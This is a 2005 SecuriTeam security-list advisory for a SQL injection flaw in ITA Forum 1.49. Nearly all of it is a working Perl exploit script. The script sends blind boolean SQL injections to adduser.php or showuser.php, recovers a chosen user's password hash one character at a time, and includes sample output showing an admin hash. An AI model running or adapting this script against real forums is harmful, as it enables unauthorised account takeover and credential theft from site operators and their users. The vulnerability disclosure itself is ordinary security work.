[EXPL] ITA Forum SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 01/16/05

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      ITA Forum SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.ita-studio.com/forum/> ITA Forum is "an online messaging
    system, all developed in PHP, using MySQL as the backend database".

    Due to a vulnerability in the way ITA Forum handles incoming data a remote
    attacker can insert malicious SQL statements into existing ones. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Exploit:
    #!/usr/bin/perl

    use LWP::UserAgent;

    # ITA Forum 1.49 sql injection exploit with one char bruteforce by
    1dt.w0lf // r57
    #
    #
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    # example:
    # r57ita.pl http://127.0.0.1/ITA/ admin 0
    # [!] Exploiting adduser.php
    # Please wait...
    # [xxxxxxxxxxxxxxxx]
    #
    # USER_NAME: admin
    # USER_PASS: 340878063a81cd71
    #
    # example2:
    # r57ita.pl http://127.0.0.1/ITA/ admin 1
    # [!] Exploiting showuser.php
    # Please wait...
    # [xxxxxxxxxxxxxxxx]
    #
    # USER_NAME: admin
    # USER_PASS: 340878063a81cd71
    #
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    # greets2:
    # foster and all ghc members

    $path = $ARGV[0];
    $username = $ARGV[1];
    $target = $ARGV[2];

    $s_num = 1;
    $|++;

    if (@ARGV < 2) { &usage; }

    if($target)
     {
     $string = $username;
     $path = $path."showuser.php";
     print " [!] Exploiting showuser.php\r\n";
     }
    else
     {
     $string = "&#1069;&#1090;&#1086;&#1090;
    &#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077;
    &#1079;&#1072;&#1085;&#1103;&#1090;!";
     $path = $path."adduser.php";
     print " [!] Exploiting adduser.php\r\n";
     }

    print " Please wait...\r\n";
    print " [";

    while(1)
    {
    if(&found(47,58)==0) { &found(96,122); }
    $char = $i;
    if ($char=="0")
     {
     print qq{]
     
     USER_NAME: $username
     USER_PASS: $allchar
     };
     exit();
     }
    else
     {
     print "x";
     $allchar .= chr($char);
     }
    $s_num++;
    }

    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
     
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = " BETWEEN $r AND $fmax";
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r); }
     }
     
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     $i = 0;
     return $i;
     }
     
    sub check($)
     {
     $n++;
     $ccheck = $_[0];
     if($target){
     $http_query = $path."?uid=".$username."\' AND
    ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
     }
     else{
     $http_query = $path.
    "?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com".
    "&Submit=true&user_login=" . $username."\' AND
    ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
     }
     # wanna view xpl work?
     # print "\r\n$http_query\r\n";
     $mcb_reguest = LWP::UserAgent->new() or die;
     $res = $mcb_reguest->post($http_query);
     @results = $res->content;
     
     foreach $result(@results)
      {
      if ($result =~ /$string/) { return 1; }
      }
     return 0;
     }
     

    sub usage()
     {
     print q(
        ITA Forum version <= 1.49 sql injection exploit ver2
     ==========================================================
        usage: r57ita.pl [path/to/forum/] [user_name] [target]
      targets:
               0 - adduser.php
               1 - showuser.php
     ==========================================================
         e.g.: r57ita.pl http://blah.com/ admin 0
     ==========================================================
               visit www.rst.void.ru for more info
     );
     exit();
     }

    ADDITIONAL INFORMATION

    The information has been provided by 1dt.w0lf.

    ========================================

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    ====================
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